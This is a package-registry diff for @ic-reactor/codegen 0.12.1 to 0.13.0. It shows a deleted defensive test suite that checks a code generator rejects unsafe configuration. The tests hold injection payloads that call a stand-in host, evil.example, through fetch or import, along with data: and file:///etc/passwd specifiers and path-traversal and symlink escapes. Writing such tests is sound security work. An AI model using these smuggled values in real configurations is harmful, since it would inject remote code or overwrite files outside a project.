@ic-reactor/codegen 0.12.1 → 0.13.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +14 -3
- package/dist/index.cjs +316 -201
- package/dist/index.d.cts +20 -36
- package/dist/index.d.ts +20 -36
- package/dist/index.js +315 -199
- package/package.json +7 -3
- package/src/generators/declarations.ts +164 -21
- package/src/generators/reactor.ts +5 -3
- package/src/index.ts +1 -3
- package/src/pipeline.ts +155 -10
- package/src/validate.ts +38 -0
- package/src/__snapshots__/bindgen.test.ts.snap +0 -18
- package/src/__snapshots__/reactor.test.ts.snap +0 -127
- package/src/bindgen.test.ts +0 -85
- package/src/naming.test.ts +0 -45
- package/src/parser.ts +0 -79
- package/src/pipeline.test.ts +0 -355
- package/src/reactor.test.ts +0 -84
- package/src/validate.test.ts +0 -393
package/src/validate.test.ts
DELETED
|
@@ -1,393 +0,0 @@
|
|
|
1
|
-
import { describe, expect, it, beforeEach, afterEach } from "vitest"
|
|
2
|
-
import fs from "node:fs"
|
|
3
|
-
import os from "node:os"
|
|
4
|
-
import path from "node:path"
|
|
5
|
-
import { runCanisterPipeline } from "./pipeline.js"
|
|
6
|
-
import {
|
|
7
|
-
assertSafeCanisterName,
|
|
8
|
-
assertSafeModuleSpecifier,
|
|
9
|
-
assertOneOf,
|
|
10
|
-
resolveContainedOutDir,
|
|
11
|
-
CodegenConfigError,
|
|
12
|
-
REACTOR_CLASS_NAMES,
|
|
13
|
-
} from "./validate.js"
|
|
14
|
-
|
|
15
|
-
const VALID_DID = "service : { greet : (text) -> (text) query; }\n"
|
|
16
|
-
|
|
17
|
-
let tmpRoot: string
|
|
18
|
-
let projectRoot: string
|
|
19
|
-
|
|
20
|
-
beforeEach(() => {
|
|
21
|
-
tmpRoot = fs.mkdtempSync(path.join(os.tmpdir(), "ic-reactor-validate-"))
|
|
22
|
-
projectRoot = path.join(tmpRoot, "project")
|
|
23
|
-
fs.mkdirSync(projectRoot, { recursive: true })
|
|
24
|
-
fs.writeFileSync(path.join(projectRoot, "backend.did"), VALID_DID)
|
|
25
|
-
})
|
|
26
|
-
|
|
27
|
-
afterEach(() => {
|
|
28
|
-
fs.rmSync(tmpRoot, { recursive: true, force: true })
|
|
29
|
-
})
|
|
30
|
-
|
|
31
|
-
function run(
|
|
32
|
-
canisterConfig: Record<string, unknown>,
|
|
33
|
-
globalConfig: Record<string, unknown> = {}
|
|
34
|
-
) {
|
|
35
|
-
return runCanisterPipeline({
|
|
36
|
-
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
37
|
-
canisterConfig: { didFile: "./backend.did", ...canisterConfig } as any,
|
|
38
|
-
projectRoot,
|
|
39
|
-
globalConfig: {
|
|
40
|
-
outDir: "./src/declarations",
|
|
41
|
-
clientManagerPath: "../../clients",
|
|
42
|
-
...globalConfig,
|
|
43
|
-
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
44
|
-
} as any,
|
|
45
|
-
})
|
|
46
|
-
}
|
|
47
|
-
|
|
48
|
-
describe("path containment (outDir escaping the project root)", () => {
|
|
49
|
-
it("refuses a relative outDir that escapes the project root, and deletes nothing", async () => {
|
|
50
|
-
const outside = path.join(tmpRoot, "outside")
|
|
51
|
-
const victim = path.join(outside, "declarations")
|
|
52
|
-
fs.mkdirSync(victim, { recursive: true })
|
|
53
|
-
fs.writeFileSync(path.join(victim, "user-data.txt"), "IRREPLACEABLE")
|
|
54
|
-
|
|
55
|
-
const result = await run({ name: "backend", outDir: "../outside" })
|
|
56
|
-
|
|
57
|
-
expect(result.success).toBe(false)
|
|
58
|
-
expect(result.error).toMatch(/outside the project root/)
|
|
59
|
-
// The pre-existing directory must be untouched.
|
|
60
|
-
expect(fs.existsSync(path.join(victim, "user-data.txt"))).toBe(true)
|
|
61
|
-
expect(fs.readFileSync(path.join(victim, "user-data.txt"), "utf-8")).toBe(
|
|
62
|
-
"IRREPLACEABLE"
|
|
63
|
-
)
|
|
64
|
-
})
|
|
65
|
-
|
|
66
|
-
it("refuses an absolute outDir pointing outside the project root", async () => {
|
|
67
|
-
const outside = path.join(tmpRoot, "abs-outside")
|
|
68
|
-
fs.mkdirSync(path.join(outside, "declarations"), { recursive: true })
|
|
69
|
-
fs.writeFileSync(path.join(outside, "declarations", "keep.txt"), "keep")
|
|
70
|
-
|
|
71
|
-
const result = await run({ name: "backend", outDir: outside })
|
|
72
|
-
|
|
73
|
-
expect(result.success).toBe(false)
|
|
74
|
-
expect(result.error).toMatch(/outside the project root/)
|
|
75
|
-
expect(fs.existsSync(path.join(outside, "declarations", "keep.txt"))).toBe(
|
|
76
|
-
true
|
|
77
|
-
)
|
|
78
|
-
})
|
|
79
|
-
|
|
80
|
-
it("refuses a canister name that traverses out of the global outDir", async () => {
|
|
81
|
-
const result = await run({ name: "../../../escape" })
|
|
82
|
-
|
|
83
|
-
expect(result.success).toBe(false)
|
|
84
|
-
expect(result.error).toMatch(/Invalid canister name/)
|
|
85
|
-
// Nothing may be written outside the project root.
|
|
86
|
-
expect(fs.existsSync(path.join(tmpRoot, "escape"))).toBe(false)
|
|
87
|
-
})
|
|
88
|
-
|
|
89
|
-
it("still accepts a normal relative outDir inside the project", async () => {
|
|
90
|
-
const result = await run({ name: "backend" })
|
|
91
|
-
|
|
92
|
-
expect(result.error).toBeUndefined()
|
|
93
|
-
expect(result.success).toBe(true)
|
|
94
|
-
const generated = path.join(
|
|
95
|
-
projectRoot,
|
|
96
|
-
"src/declarations/backend/declarations"
|
|
97
|
-
)
|
|
98
|
-
expect(fs.readdirSync(generated).sort()).toEqual([
|
|
99
|
-
"backend.d.ts",
|
|
100
|
-
"backend.did",
|
|
101
|
-
"backend.js",
|
|
102
|
-
])
|
|
103
|
-
})
|
|
104
|
-
})
|
|
105
|
-
|
|
106
|
-
describe("source injection via config values", () => {
|
|
107
|
-
it("refuses a canister name that would break out of the emitted string literal", async () => {
|
|
108
|
-
const result = await run({
|
|
109
|
-
name: 'backend", stolen: (globalThis.fetch("https://evil.example")), z: "',
|
|
110
|
-
})
|
|
111
|
-
|
|
112
|
-
expect(result.success).toBe(false)
|
|
113
|
-
expect(result.error).toMatch(/Invalid canister name/)
|
|
114
|
-
})
|
|
115
|
-
|
|
116
|
-
it("refuses a clientManagerPath that is a remote URL", async () => {
|
|
117
|
-
const result = await run(
|
|
118
|
-
{ name: "backend" },
|
|
119
|
-
{ clientManagerPath: "https://evil.example/payload.js" }
|
|
120
|
-
)
|
|
121
|
-
|
|
122
|
-
expect(result.success).toBe(false)
|
|
123
|
-
expect(result.error).toMatch(/URLs are not allowed/)
|
|
124
|
-
})
|
|
125
|
-
|
|
126
|
-
it("refuses a per-canister clientManagerPath containing a quote", async () => {
|
|
127
|
-
const result = await run({
|
|
128
|
-
name: "backend",
|
|
129
|
-
clientManagerPath: '../clients"; import "https://evil.example/x.js',
|
|
130
|
-
})
|
|
131
|
-
|
|
132
|
-
expect(result.success).toBe(false)
|
|
133
|
-
expect(result.error).toMatch(/must not contain quotes/)
|
|
134
|
-
})
|
|
135
|
-
|
|
136
|
-
it("emits a JSON-quoted name for a legitimate canister name", async () => {
|
|
137
|
-
await run({ name: "my-canister" })
|
|
138
|
-
|
|
139
|
-
const generated = fs.readFileSync(
|
|
140
|
-
path.join(projectRoot, "src/declarations/my-canister/index.generated.ts"),
|
|
141
|
-
"utf-8"
|
|
142
|
-
)
|
|
143
|
-
expect(generated).toContain('name: "my-canister",')
|
|
144
|
-
expect(generated).toContain('import { clientManager } from "../../clients"')
|
|
145
|
-
})
|
|
146
|
-
})
|
|
147
|
-
|
|
148
|
-
describe("identifier validity (issue #299)", () => {
|
|
149
|
-
it("refuses a digit-leading name instead of emitting invalid TypeScript", async () => {
|
|
150
|
-
const result = await run({ name: "2048_game" })
|
|
151
|
-
|
|
152
|
-
expect(result.success).toBe(false)
|
|
153
|
-
// "2048_game" derives `2048GameReactor`, which is not a valid identifier.
|
|
154
|
-
expect(result.error).toMatch(/not a valid TypeScript identifier/)
|
|
155
|
-
expect(result.error).toContain("2048GameReactor")
|
|
156
|
-
})
|
|
157
|
-
|
|
158
|
-
it("refuses a punctuation-only name that would collapse to an empty stem", async () => {
|
|
159
|
-
for (const name of ["_", "--", "..."]) {
|
|
160
|
-
const result = await run({ name })
|
|
161
|
-
expect(result.success).toBe(false)
|
|
162
|
-
expect(result.error).toMatch(/collapses to an empty identifier/)
|
|
163
|
-
}
|
|
164
|
-
})
|
|
165
|
-
|
|
166
|
-
it("refuses a bare-digit name that derives a digit-leading identifier", async () => {
|
|
167
|
-
const result = await run({ name: "2048" })
|
|
168
|
-
|
|
169
|
-
expect(result.success).toBe(false)
|
|
170
|
-
expect(result.error).toMatch(/not a valid TypeScript identifier/)
|
|
171
|
-
})
|
|
172
|
-
|
|
173
|
-
it("still accepts dfx-legal names that derive valid identifiers", async () => {
|
|
174
|
-
// dfx places no pattern restriction on canister names, and all of these
|
|
175
|
-
// produced working output before validation existed.
|
|
176
|
-
for (const name of ["_private", "my.canister", "hello-world", "a1"]) {
|
|
177
|
-
const result = await run({ name })
|
|
178
|
-
expect(result.error).toBeUndefined()
|
|
179
|
-
expect(result.success).toBe(true)
|
|
180
|
-
}
|
|
181
|
-
})
|
|
182
|
-
|
|
183
|
-
it("names the offending canister in the error", async () => {
|
|
184
|
-
const result = await run({ name: "2048_game" })
|
|
185
|
-
|
|
186
|
-
expect(result.error).toContain("2048_game")
|
|
187
|
-
})
|
|
188
|
-
})
|
|
189
|
-
|
|
190
|
-
describe("bypasses found by adversarial review", () => {
|
|
191
|
-
it("refuses a symlink inside the project root that points outside it", async () => {
|
|
192
|
-
const victim = path.join(tmpRoot, "victim")
|
|
193
|
-
fs.mkdirSync(path.join(victim, "declarations"), { recursive: true })
|
|
194
|
-
fs.writeFileSync(
|
|
195
|
-
path.join(victim, "declarations", "IRREPLACEABLE.txt"),
|
|
196
|
-
"keep me"
|
|
197
|
-
)
|
|
198
|
-
|
|
199
|
-
// A symlink that lives inside the project but resolves outside it.
|
|
200
|
-
// path.resolve does not follow symlinks, so a lexical check passes here.
|
|
201
|
-
fs.symlinkSync(victim, path.join(projectRoot, "escape-hatch"))
|
|
202
|
-
|
|
203
|
-
const result = await run({ name: "backend", outDir: "./escape-hatch" })
|
|
204
|
-
|
|
205
|
-
expect(result.success).toBe(false)
|
|
206
|
-
expect(result.error).toMatch(/outside the project root/)
|
|
207
|
-
expect(
|
|
208
|
-
fs.existsSync(path.join(victim, "declarations", "IRREPLACEABLE.txt"))
|
|
209
|
-
).toBe(true)
|
|
210
|
-
})
|
|
211
|
-
|
|
212
|
-
it("refuses a symlinked canister directory under the global outDir", async () => {
|
|
213
|
-
// The global-outDir branch appends the canister name AFTER resolving the
|
|
214
|
-
// parent, so checking only the parent leaves the final segment free to be a
|
|
215
|
-
// symlink out of the project.
|
|
216
|
-
const victim = path.join(tmpRoot, "victim")
|
|
217
|
-
fs.mkdirSync(path.join(victim, "declarations"), { recursive: true })
|
|
218
|
-
fs.writeFileSync(
|
|
219
|
-
path.join(victim, "declarations", "IRREPLACEABLE.txt"),
|
|
220
|
-
"keep me"
|
|
221
|
-
)
|
|
222
|
-
|
|
223
|
-
const declarations = path.join(projectRoot, "src", "declarations")
|
|
224
|
-
fs.mkdirSync(declarations, { recursive: true })
|
|
225
|
-
fs.symlinkSync(victim, path.join(declarations, "backend"))
|
|
226
|
-
|
|
227
|
-
const result = await run(
|
|
228
|
-
{ name: "backend" },
|
|
229
|
-
{ outDir: "src/declarations" }
|
|
230
|
-
)
|
|
231
|
-
|
|
232
|
-
expect(result.success).toBe(false)
|
|
233
|
-
expect(result.error).toMatch(/outside the project root/)
|
|
234
|
-
expect(
|
|
235
|
-
fs.existsSync(path.join(victim, "declarations", "IRREPLACEABLE.txt"))
|
|
236
|
-
).toBe(true)
|
|
237
|
-
})
|
|
238
|
-
|
|
239
|
-
it("accepts a contained directory whose name merely begins with dots", async () => {
|
|
240
|
-
// "..generated" relativizes to "..generated", which a naive `..` prefix
|
|
241
|
-
// test rejects even though it is inside the project.
|
|
242
|
-
for (const outDir of ["..generated", "..secret/gen", "..a/b"]) {
|
|
243
|
-
const result = await run({ name: "backend" }, { outDir })
|
|
244
|
-
expect(result.error).toBeUndefined()
|
|
245
|
-
expect(result.success).toBe(true)
|
|
246
|
-
}
|
|
247
|
-
})
|
|
248
|
-
|
|
249
|
-
it("refuses an unknown mode instead of interpolating it into an import", async () => {
|
|
250
|
-
const result = await run({
|
|
251
|
-
name: "backend",
|
|
252
|
-
mode: 'DisplayReactor"\nimport "https://evil.example/pwn.js"\n//',
|
|
253
|
-
})
|
|
254
|
-
|
|
255
|
-
expect(result.success).toBe(false)
|
|
256
|
-
expect(result.error).toMatch(/Invalid mode/)
|
|
257
|
-
})
|
|
258
|
-
|
|
259
|
-
it("refuses an unknown target", async () => {
|
|
260
|
-
const result = await run({ name: "backend", target: "nodejs" })
|
|
261
|
-
|
|
262
|
-
expect(result.success).toBe(false)
|
|
263
|
-
expect(result.error).toMatch(/Invalid target/)
|
|
264
|
-
})
|
|
265
|
-
|
|
266
|
-
it("still accepts every documented mode and target", async () => {
|
|
267
|
-
for (const mode of REACTOR_CLASS_NAMES) {
|
|
268
|
-
const result = await run({ name: "backend", mode })
|
|
269
|
-
expect(result.error).toBeUndefined()
|
|
270
|
-
expect(result.success).toBe(true)
|
|
271
|
-
}
|
|
272
|
-
for (const target of ["react", "core"]) {
|
|
273
|
-
const result = await run({ name: "backend", target })
|
|
274
|
-
expect(result.error).toBeUndefined()
|
|
275
|
-
expect(result.success).toBe(true)
|
|
276
|
-
}
|
|
277
|
-
})
|
|
278
|
-
|
|
279
|
-
it("refuses a URL specifier hidden behind leading whitespace", async () => {
|
|
280
|
-
// URL parsing strips surrounding whitespace, so an anchored scheme check
|
|
281
|
-
// alone would let this through and it would still load remotely.
|
|
282
|
-
for (const spec of [
|
|
283
|
-
" https://evil.example/x.js",
|
|
284
|
-
" data:text/javascript,alert(1)",
|
|
285
|
-
"https://evil.example/x.js ",
|
|
286
|
-
]) {
|
|
287
|
-
const result = await run({ name: "backend" }, { clientManagerPath: spec })
|
|
288
|
-
expect(result.success).toBe(false)
|
|
289
|
-
expect(result.error).toMatch(/whitespace|URLs are not allowed/)
|
|
290
|
-
}
|
|
291
|
-
})
|
|
292
|
-
|
|
293
|
-
it("returns a config error, not an uncaught TypeError, for a non-string outDir", async () => {
|
|
294
|
-
for (const outDir of [123, {}, [], true]) {
|
|
295
|
-
const result = await run({ name: "backend", outDir })
|
|
296
|
-
expect(result.success).toBe(false)
|
|
297
|
-
expect(result.error).toMatch(/expected a non-empty string/)
|
|
298
|
-
}
|
|
299
|
-
})
|
|
300
|
-
|
|
301
|
-
it("returns a config error for a non-string global outDir", async () => {
|
|
302
|
-
const result = await run({ name: "backend" }, { outDir: null })
|
|
303
|
-
|
|
304
|
-
expect(result.success).toBe(false)
|
|
305
|
-
expect(result.error).toMatch(/expected a non-empty string/)
|
|
306
|
-
})
|
|
307
|
-
})
|
|
308
|
-
|
|
309
|
-
describe("unit-level assertions", () => {
|
|
310
|
-
it("accepts every member of a closed set and rejects the rest", () => {
|
|
311
|
-
expect(() =>
|
|
312
|
-
assertOneOf("mode", "DisplayReactor", REACTOR_CLASS_NAMES)
|
|
313
|
-
).not.toThrow()
|
|
314
|
-
for (const bad of ["displayreactor", "", undefined, null, 1, "Reactor "]) {
|
|
315
|
-
expect(() => assertOneOf("mode", bad, REACTOR_CLASS_NAMES)).toThrow(
|
|
316
|
-
CodegenConfigError
|
|
317
|
-
)
|
|
318
|
-
}
|
|
319
|
-
})
|
|
320
|
-
|
|
321
|
-
it("accepts conventional canister names", () => {
|
|
322
|
-
for (const name of [
|
|
323
|
-
"backend",
|
|
324
|
-
"my_canister",
|
|
325
|
-
"my-canister",
|
|
326
|
-
"a",
|
|
327
|
-
"Ledger",
|
|
328
|
-
"_private",
|
|
329
|
-
"my.canister",
|
|
330
|
-
]) {
|
|
331
|
-
expect(() => assertSafeCanisterName(name)).not.toThrow()
|
|
332
|
-
}
|
|
333
|
-
})
|
|
334
|
-
|
|
335
|
-
it("rejects names that are path segments rather than canisters", () => {
|
|
336
|
-
for (const name of [".", ".."]) {
|
|
337
|
-
expect(() => assertSafeCanisterName(name)).toThrow(CodegenConfigError)
|
|
338
|
-
}
|
|
339
|
-
})
|
|
340
|
-
|
|
341
|
-
it("rejects non-string and empty names", () => {
|
|
342
|
-
for (const name of [undefined, null, 42, "", {}]) {
|
|
343
|
-
expect(() => assertSafeCanisterName(name)).toThrow(CodegenConfigError)
|
|
344
|
-
}
|
|
345
|
-
})
|
|
346
|
-
|
|
347
|
-
it("rejects names containing path separators", () => {
|
|
348
|
-
for (const name of ["a/b", "a\\b", "..", "../x", "ab"]) {
|
|
349
|
-
expect(() => assertSafeCanisterName(name)).toThrow(CodegenConfigError)
|
|
350
|
-
}
|
|
351
|
-
})
|
|
352
|
-
|
|
353
|
-
it("accepts relative and bare module specifiers", () => {
|
|
354
|
-
for (const spec of ["./clients", "../../clients", "@scope/pkg", "pkg"]) {
|
|
355
|
-
expect(() => assertSafeModuleSpecifier("p", spec)).not.toThrow()
|
|
356
|
-
}
|
|
357
|
-
})
|
|
358
|
-
|
|
359
|
-
it("rejects URL-ish and protocol-relative specifiers", () => {
|
|
360
|
-
for (const spec of [
|
|
361
|
-
"https://evil.example/x.js",
|
|
362
|
-
"http://evil.example/x.js",
|
|
363
|
-
"data:text/javascript,alert(1)",
|
|
364
|
-
"file:///etc/passwd",
|
|
365
|
-
"//evil.example/x.js",
|
|
366
|
-
]) {
|
|
367
|
-
expect(() => assertSafeModuleSpecifier("p", spec)).toThrow(
|
|
368
|
-
CodegenConfigError
|
|
369
|
-
)
|
|
370
|
-
}
|
|
371
|
-
})
|
|
372
|
-
|
|
373
|
-
it("resolves a contained outDir to an absolute path", () => {
|
|
374
|
-
const root = path.join(tmpRoot, "root")
|
|
375
|
-
expect(resolveContainedOutDir("outDir", "./src/gen", root)).toBe(
|
|
376
|
-
path.join(root, "src/gen")
|
|
377
|
-
)
|
|
378
|
-
})
|
|
379
|
-
|
|
380
|
-
it("rejects an outDir that escapes via a symlink-free ..", () => {
|
|
381
|
-
const root = path.join(tmpRoot, "root")
|
|
382
|
-
expect(() => resolveContainedOutDir("outDir", "../sneaky", root)).toThrow(
|
|
383
|
-
CodegenConfigError
|
|
384
|
-
)
|
|
385
|
-
})
|
|
386
|
-
|
|
387
|
-
it("does not treat a sibling directory with a shared prefix as contained", () => {
|
|
388
|
-
const root = path.join(tmpRoot, "root")
|
|
389
|
-
expect(() =>
|
|
390
|
-
resolveContainedOutDir("outDir", "../root-evil", root)
|
|
391
|
-
).toThrow(CodegenConfigError)
|
|
392
|
-
})
|
|
393
|
-
})
|